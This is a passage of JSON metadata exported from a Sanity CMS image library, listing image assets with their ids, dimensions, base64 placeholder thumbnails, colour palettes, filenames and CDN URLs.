KEoYcrODExgYEJPz2LrrlCMnHMuZa17bbblmtq1DGkYdeoYl9XsaFo+OLEQd/qAL+74+IPPh2DgSr+tpDHR8t/YmjxMU5NTuHY2NhwbHSU5men3N93owmuV6/uOKoETJXIbVax31JpYKrUM2okljWKH5oU3jQp8muN9jeLdLqTpndPz2g/ukfroSW6OxugXx7co/1n0W72r9cnnCdml+2rVMooZxRQS8LAkISbliT8YwiC1xCEpiAJpQ+yICbLQjubkrq5c8VOXdTM1Jkiv3+j5E72FDl1otpyKnfTyG9x12rxq66S9ztK4U5PK43f6BX/v0bF/59R8n3Sr3yf9YLvUzPv+9zM+rGZniQtOUvq+RzVL4PY+BAcNlJBNPJzZBYnySx88z8P0cxwiUawQAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474343","foreground":"#fff","population":1.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d1f99","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5714e5","foreground":"#fff","population":1.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdba98","foreground":"#000","population":0.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b38f50","foreground":"#fff","population":0.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5714e5","foreground":"#fff","population":1.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"698042be58f57726b1ccdb3936f6bfcb26f640d0-1567x844.png","path":"images/sczeoy4w/production/698042be58f57726b1ccdb3936f6bfcb26f640d0-1567x844.png","sha1hash":"698042be58f57726b1ccdb3936f6bfcb26f640d0","size":438404,"uploadId":"ZQIixXbPGMPMY8cJbR4IO63f23rgyAXE","url":"https://cdn.sanity.io/images/sczeoy4w/production/698042be58f57726b1ccdb3936f6bfcb26f640d0-1567x844.png"} {"_createdAt":"2024-02-20T13:30:33Z","_id":"image-6983b2c8bcd4e50885355c66015fc93e56f37407-3358x2518-png","_rev":"ie5WJlLr1SLUBaBgCnzxYO","_type":"sanity.imageAsset","_updatedAt":"2024-02-20T13:30:33Z","assetId":"6983b2c8bcd4e50885355c66015fc93e56f37407","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VO0DvlendCg3eneme.flf+f,dCf,hLe-f,gOg3f5enem","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3335980937251788,"height":2518,"width":3358},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAABq0lEQVQ4jXWUT2sUURDEf5rFIBoURJEg5hBEPQiioIinEBQ9CB4UQfAQ/IciGhUjKiYHb36zrq/R9UH0vZ2Znbe7edDszvC6urqremD+RIIM4e63e26iv5OzWHrGSdFHSRiBLIsY/W8BR5UPSxg6OKTAcHoW9WLHKnyS8AaR54g8WkM+i7yBvLY4Hs/wWgYV8DjhO8hvCD9EPo/yAvJjwq8I30S51hWZYzhfpbLx5hQs9wk/Q76L/Aj5O/IeqkU2iVxtZt7MpBcgsrR6n8gfKN8jbxG5jfwB+SfKF8i3kNeRJ414h9jhInIB2idKcj4g8gmRv1F+RX6KfJvwGeSVRrwpSKPYCZRbyAfIH6ds8nXX5gGRL5F3iCygN5BPNYrPWNUXkzoX5Q7yrwEo8g/yX+RvhN9W5vIu8j1UWPZeHVru7VIB1wlvdyyKwruEPxP5CfkdUWaaX5CfI19BPtbYZ0nLK0SeJnwV+XqXVBS/XJ8jryFf6gRZXTT24Lv5KMPOAt4LdYTICaqWWhSzv9eu09jYw7a0XfQF51dy6eot7PDgyyUfiRFw/+4/zj9qYvGKk80CwAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#294756","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04946c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#09c9f6","foreground":"#fff","population":0.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#116687","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3cb6e6","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e8198","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09c9f6","foreground":"#fff","population":0.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Lili Bank.png","path":"images/sczeoy4w/production/6983b2c8bcd4e50885355c66015fc93e56f37407-3358x2518.png","sha1hash":"6983b2c8bcd4e50885355c66015fc93e56f37407","size":74738,"uploadId":"jlEkieFBIvkZ2u2YoZd4PrBSbJ1RU63j","url":"https://cdn.sanity.io/images/sczeoy4w/production/6983b2c8bcd4e50885355c66015fc93e56f37407-3358x2518.png"} {"_createdAt":"2023-06-07T13:22:10Z","_id":"image-699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038-jpg","_rev":"rV9BZDYEBgQp95tIyW7u1c","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:22:10Z","assetId":"699f3b76f259ec86b9716b46ae047eb58180f9e4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLH_fHod$wxuoJ~UNH-;RjofM_j]W?WCog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8497109826589595,"height":1038,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYEBQcI/8QAIRAAAgEDBAMBAAAAAAAAAAAAAQIDAAQRBRITMQYhIkH/xAAVAQEBAAAAAAAAAAAAAAAAAAADAf/EABoRAQACAwEAAAAAAAAAAAAAAAEAIQIDExT/2gAMAwEAAhEDEQA/ALXUri5mj4uWXPIZFwM4U/lRrZZ5Sdk8hI79Csvj1rUlv7ULeTAM4B+uxmnPyi8uLGKBrSVojszlabDUGNgyuy6ju/mumwHiYySOg2sVxjNFc8LI8hZ3dizMSTnv3RQ+cidWf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32354f","foreground":"#fff","population":1.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#334080","foreground":"#fff","population":1.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccb9a9","foreground":"#000","population":3.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb9a9","foreground":"#000","population":3.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91a1d9","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5762a2","foreground":"#fff","population":2.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3748a7","foreground":"#fff","population":1.44,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"mirakl-customer-img.jpg","path":"images/sczeoy4w/production/699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038.jpg","sha1hash":"699f3b76f259ec86b9716b46ae047eb58180f9e4","size":2320101,"uploadId":"51Zl6wWHVWXMZocJbHWqw6TaiYFHELcG","url":"https://cdn.sanity.io/images/sczeoy4w/production/699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038.jpg"} {"_createdAt":"2024-07-04T07:21:41Z","_id":"image-69af87e2f887859f0f033dc6955eb8c708faef1b-1200x628-png","_rev":"Y6NNh6Ue45iOdNdcw92ScC","_type":"sanity.imageAsset","_updatedAt":"2024-07-04T07:21:41Z","assetId":"69af87e2f887859f0f033dc6955eb8c708faef1b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKI#iZ_29F_4D*~q4:Io_3IA~p-o%2xuD%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAC3ElEQVQokS3D71OTBQDA8ec/6U0daoHmSTBgtHC54agQGQUjaD8T3C1CHikYMhloI26yMRxzG24jNkGeCRwqwsamk1KTGD+8elFXvejsRXm9yLteYN/e9Ln7CMF4jKUliUfraZ7sbLK1kyeXS/FVdAJnv8hAn8gV3wjp+Vl+3s7zz/PnvPj3BXt7e/zx7Ckr2ThDX7ajN9ageacUITF/g9mZBNLUJNnUMhv5TdayKUJ+N3bRSneXjbFLw6QXJH7Z3eLvv57x5++/8fTXH/nh+28JBJ3oP6qmVlPOiZoKhIWVLB6vn672NkacDuaSSSJTUwz0nkW0mvn8MxGfb4w7czNsp1f4aeMRm6uLfHNzhrVbM7gcn9BYXU7d0VL0WjWCJziNzmjlDZkctUqFraMTa4dIQ0MjFqMRl+sLrkYiJAJ+JI+btViY5bCPad8w4YAXt0PEYaynu6WOT01NCLXv6ykqO8ZLh0sorqpC92Erp8wWWpsaMRsM2O09+MY8hC+PE/N5WYiGiV+5zOCFQXoHh+jvEek1NWHTadHrmhEUSg2qWh3v6VowW80MOHqYGHESHO7D0W3jdLuZwYF+rl9LsCBJjI+66TzTSbP5FB8YLJysb0Apl1NRLENRqUY4f96JP3CVyGSIoPci8eAo6WSE3PwkU34X9h6RixeGkBIJrkVi2KwdHD2mQVah4EhxKUWvHWT/K/spPPA6ZTIlwo3rce7fzfDwXpo7UpTVZJTH6ST5TJLM4jTRkJ8xj5fgRAjXsJf65jaOlL1NYeEhDhTso+DlAl7dV0RpiQK1qh4hszTL41yK7YdZvrt7i817N9n9epmd9dvklucIjV9CPNOFtaufdvso2rY+lO82oXizCrlMTrnsLSorq1Eqa6nRNCBsrC2ytb7K7oMMuw9SPPl/PncbKRbA1Krj4OESDinqOG46R8tZN5aOc5z+2Iqh2YJWa+JEnQG16iRVChX/ATPt/86qrEqSAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54413d","foreground":"#fff","population":7.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#126f47","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#54413d","foreground":"#fff","population":7.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c2b8","foreground":"#000","population":5.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efd9ce","foreground":"#000","population":0.9,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#65809d","foreground":"#fff","population":0.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#446cc4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"BackMarketB2.png","path":"images/sczeoy4w/production/69af87e2f887859f0f033dc6955eb8c708faef1b-1200x628.png","sha1hash":"69af87e2f887859f0f033dc6955eb8c708faef1b","size":1203716,"uploadId":"wT30mMIFpeeB8D2DjhTUOPl5l3McMTAR","url":"https://cdn.sanity.io/images/sczeoy4w/production/69af87e2f887859f0f033dc6955eb8c708faef1b-1200x628.png"} {"_createdAt":"2022-09-19T17:34:43Z","_id":"image-6a13ed96169bd806790939df5e2418af642e35de-690x413-png","_rev":"OFlS64pMvIisdGKtV7rPHx","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:43Z","assetId":"6a13ed96169bd806790939df5e2418af642e35de","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3UlEQVQoka1STWtTURCdl2BFaxcSWyqm2qTzknctrYtQWjPTGCRCQyuahPZeupBs3LgRlc6Egkv9Ey78LW7duHDtyl2h+WjBbeS+vNhUREUcONz5uocDcwD+d/RtBD1r4vfILsOHRhk2Ks8hS4dQqz4DJB2B/4w4ejaCgY2gaw18cwUYvgTIlg+hwJIsCoQkgB5JL665A9nNt0l+NouVJSpTAxelh0/mgszd11DkA1gihfAcoZ4jjPhFPJ+cebJU15rpE1ec/bJ758abemN+dfNVJkedKwWWi8hyCUlnkOQyjuopZJ1G1jlkvTbKfU/SY8ILx9YsnLri6qfWWqlda1cNH2wvkd4LWUpIso4kVSSpIOsaspaQZQNZHyBrPZ75PdZ5ZA2g78zUsTW3Tl1x+WNzfaV5/2mlwLKLpHshyyMkeYgkLSSxyNpE1sdIso2sW0jq+/vI0kBWg6xpT5juWjMzcNHVz61Spl1rz4YsC0iaD1nySLI4guZjsH/lJpJcR/J7EiZkXmEqvnLfRUHXmsAfZrifC97vbMFiuXN2jF9Cx3nglSUA6DnjVca2ObK34cQV4+v6D78nnMAPi3lCa0bGdhF83VuBdzt1MGPL/C3hhPH/OfKsP0EgRwLfAZBF04eNGzDNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573030","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c1605","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8c1605","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#922306","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65b33","foreground":"#fff","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#745444","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d23f0d","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"nucleus-teq-690x413.png","path":"images/sczeoy4w/production/6a13ed96169bd806790939df5e2418af642e35de-690x413.png","sha1hash":"6a13ed96169bd806790939df5e2418af642e35de","size":35247,"uploadId":"vT3mVidLi3ppDm7WQPdiA850DAsYtSWr","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a13ed96169bd806790939df5e2418af642e35de-690x413.png"} {"_createdAt":"2023-09-15T11:53:42Z","_id":"image-6a1f6e6c938520ed30872d02049cf87c9a3630ab-3320x1190-png","_rev":"E3l20vRSvwhCawbkeOctVF","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:42Z","assetId":"6a1f6e6c938520ed30872d02049cf87c9a3630ab","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7899159663865545,"height":1190,"width":3320},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAfUlEQVQYlWWQURIDIQhDvZGVKhHp/c/VrmkZ6r6vDCRMtKjqGOO5EZHHpiVEhCtqitZarbXYBoAmAHBuZmtDz5wz/L334u7cZdZar3/cPVbUqlp4+MjTwXkIM5uJK+w/Ih/WfPfI85lXmK3Ceg8fc5741r4njxb5zwBQf8JviTtcMtGnBQQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":6.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":6.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666666","foreground":"#fff","population":4.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ClickHouse-simple-test.png","path":"images/sczeoy4w/production/6a1f6e6c938520ed30872d02049cf87c9a3630ab-3320x1190.png","sha1hash":"6a1f6e6c938520ed30872d02049cf87c9a3630ab","size":133488,"uploadId":"lTZ7M2imznRJLlFfwBGw3NwZt4yYAmqS","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a1f6e6c938520ed30872d02049cf87c9a3630ab-3320x1190.png"} {"_createdAt":"2024-01-03T13:04:15Z","_id":"image-6a58860fd6ed1e615cd5b3d351eae7df26fcb7c6-5000x2014-jpg","_rev":"ltg6MTtM6PpgVrWoM32Im0","_type":"sanity.imageAsset","_updatedAt":"2024-01-03T13:04:15Z","assetId":"6a58860fd6ed1e615cd5b3d351eae7df26fcb7c6","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4826216484607744,"height":2014,"width":5000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAcD/8QAIxAAAQMEAAcBAAAAAAAAAAAAAQACAwQFBhEHEhMhIkFRYf/EABYBAQEBAAAAAAAAAAAAAAAAAAUCBP/EABsRAAMAAwEBAAAAAAAAAAAAAAECAwAEIREx/9oADAMBAAIRAxEAPwCUZXeqW+NiqY2GGYeJj3saW3D+1vu2QU8LCQWnn7fiIn61eWtSqno9OSirSyKRzmUDKclbZbxJQNjbP0gAX79/ERElpE010dz6SAczXASjKvwHP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2e6b","foreground":"#fff","population":0.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":10.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":10.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b498a5","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c8cf6","foreground":"#fff","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#495489","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8572a","foreground":"#fff","population":1.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-blue-pattern-aiven-live.jpg","path":"images/sczeoy4w/production/6a58860fd6ed1e615cd5b3d351eae7df26fcb7c6-5000x2014.jpg","sha1hash":"6a58860fd6ed1e615cd5b3d351eae7df26fcb7c6","size":421051,"uploadId":"tHs214jYBEDKYyme6p7yKMCXonsqjG1L","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a58860fd6ed1e615cd5b3d351eae7df26fcb7c6-5000x2014.jpg"} {"_createdAt":"2023-02-17T12:39:21Z","_id":"image-6a6c357e5b3e8cf15655404f3cc3a78c7ff085b7-2000x829-png","_rev":"waESC1SXj0AdlOPde5W9WM","_type":"sanity.imageAsset","_updatedAt":"2023-02-17T12:39:21Z","assetId":"6a6c357e5b3e8cf15655404f3cc3a78c7ff085b7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7Ji8==v0#Nw04rFRkR+Sh%K04WB}qSN=w","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4125452352231602,"height":829,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQokQGIAnf9AAAARwC/ayEJ33geNOZ6HF7yfRZN/4MQHf/nAAHmex4G4nkeMuF4G1/fdBdR4nQVINdvFgKwZSMK13QeOeB4HmjfeSBu0nQjSa5lJRcIHC0BAAAVMAOwai4T74guW/mMLKD8iyiF/osnOMl4Mgi1bi8R74guWviKK534iCZ/84QkMntQLAmmZi8W7YctYPiMLrD4jjGx9IwyY+OCLRX//5AAAAAZLwSxbTEW9IwyaP6RMr3/kzWp/JY9TK93Rw6kZjEW8osyZ/2RMrv/kzan+5Y+SZRpRAylZi8Y8owybf6SNML/lDiw/pY8UP6WPAv/rVoAAAAALgHGdzIT9o0yZv6SNL//ljun+5tIRJt0UgypaTEW84wyZf6RM7z/ljuu/Z1KTK2AWQuvai4W9I0zbP6TNrf/ljyF/5tFJv+zYAH/uzQAAAAALgHFdjEU944ya/6TNsX/mECo/qFRRcuXagvCdjQV9Y0zZP6QMqL/kzV5/ZtGLIlzYAW9cS4V9o40cf6UOLn+lz5075VHFQAAAACkazsBAAACLQG4cTQT9I83YP2VO639mkSQ/KNVO9egbwnLfTkS9JA5U/ySNWr9jS0v7IYtCAAUSgHAdDMT9ZA4ZP2WPaP9mUNk0IVFFQAUJQVZRjUDAAAHKQG0czoK75JAM/KUQ17pkkdLy4ZKGzs7OwaYZjsO3IlBLuWMPzK5cTIRAA4dBBUiLgWQYDcP4otAOfSWRVj3m0o0wYBICxchKgRJPTMDAAAGIQD/qVoAw4RNCJVqRRZvVD0XPjcyDyYqLQs+ODINZE46EmhQOhJFPDMPMjEwDS8vLw08NjIOcVU9E5ttRhO5f00JzYxTAQABHQBTRDcAujEEcEJsdpIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40505c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#962d04","foreground":"#fff","population":0.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5760c","foreground":"#fff","population":7.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#989490","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b56e","foreground":"#000","population":1.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7d67","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5760c","foreground":"#fff","population":7.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-2-most-popular-search-technology-options.png","path":"images/sczeoy4w/production/6a6c357e5b3e8cf15655404f3cc3a78c7ff085b7-2000x829.png","sha1hash":"6a6c357e5b3e8cf15655404f3cc3a78c7ff085b7","size":65223,"uploadId":"bX9S3eGi1eO6K8Urxc2RoEKVdakIQyu2","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a6c357e5b3e8cf15655404f3cc3a78c7ff085b7-2000x829.png"} {"_createdAt":"2023-03-30T17:02:23Z","_id":"image-6a7ecf263f98c6b3603abe2c9e25255a355e3e45-1646x849-png","_rev":"IfootSjA4c56MZIbwJ5viy","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:23Z","assetId":"6a7ecf263f98c6b3603abe2c9e25255a355e3e45","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.938751472320377,"height":849,"width":1646},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABQUlEQVQokV2Ry07DQAxF8/+/whcgARs2LFiCKjUUSlEfSZPMwzP2POwJKimQ9sqrse89lqeCth3azhqHSM55AEcUmKXMJFJEJCUmCoiESEQUU6rUvh2aDpRF551zYAGRmGX8USlT/aUInyUiUnWrdf/5ZfYNGZtizCkxcyllMouUCDE0wDaMcn6cgsZxrLrNdtg1cOyjxyJn4HkoS9DYvewPD7VbthLzaY2ZKtUbqx16yukfOOUzRvPefDzW9V2tVr1EvjZrBWCRKOV8OtIczDHDTq0Xh2XdaRPK79r/ZmMcwGS+JI+FmcmHfvAH5X3Il92JrMEajxiuzMxCRNaCVlZr65xP6dpfDa1SR+Wtz7NeKSXn7C3oza5/fRuWa9sNIUS5vGhl9r3edq43KaZ5sIhkA/i8sDf37vYp7I7zL5wA3/onREZ8COveAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563c56","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e5b8e","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b66b8b","foreground":"#fff","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9eb4c1","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4d8fc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b66b8b","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d71b5e","foreground":"#fff","population":0.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-integration-endpoints.png","path":"images/sczeoy4w/production/6a7ecf263f98c6b3603abe2c9e25255a355e3e45-1646x849.png","sha1hash":"6a7ecf263f98c6b3603abe2c9e25255a355e3e45","size":38967,"uploadId":"hMtUAPn7rj7ioe1ipxV8R6zYEzEAEIHp","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a7ecf263f98c6b3603abe2c9e25255a355e3e45-1646x849.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-6a95ddd28f2227489f1500131bb32247782dfeb4-750x235-png","_rev":"QRl2cGoCgj0FlAhkRrhZu5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:44Z","assetId":"6a95ddd28f2227489f1500131bb32247782dfeb4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D5R{x*-AIn.lyrQ8HYV[cYTx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1914893617021276,"height":235,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA80lEQVQYlV2MS27DMAxEff+zJDcIkFu0QOK0aRZN/ZNIiqRESgYKO+img7fhG3C6z/720d++3t6/z+fn8fg8HH5Op/FymYZhHsbpP8M0jPPONIzdMi9hWZZxXO73cL1Cf4PHA+cZIkCICEiIhISAECNE2M6XBOwWhiTMzFuNRCklZhFJlBAgUVLVrFlEEBEBCCnRBqfUDTmKZ3MXLSRKkjlnMy+l8L5iZr6HE8cQEHHbT6yi3WSYV2/rWsw5G2dT89parTXnrKqlFDdvtapIDJGQRGT31k1Gr2fzquZqXry2dW2tlVLyHjOrtQpLDIGQ/qT/ArhxUqRT9rSTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1f7949","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b693f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#faa9a6","foreground":"#000","population":0.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c4cc","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faa9a6","foreground":"#000","population":0.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b36066","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#32c074","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6a95ddd28f2227489f1500131bb32247782dfeb4-750x235.png","path":"images/sczeoy4w/production/6a95ddd28f2227489f1500131bb32247782dfeb4-750x235.png","sha1hash":"6a95ddd28f2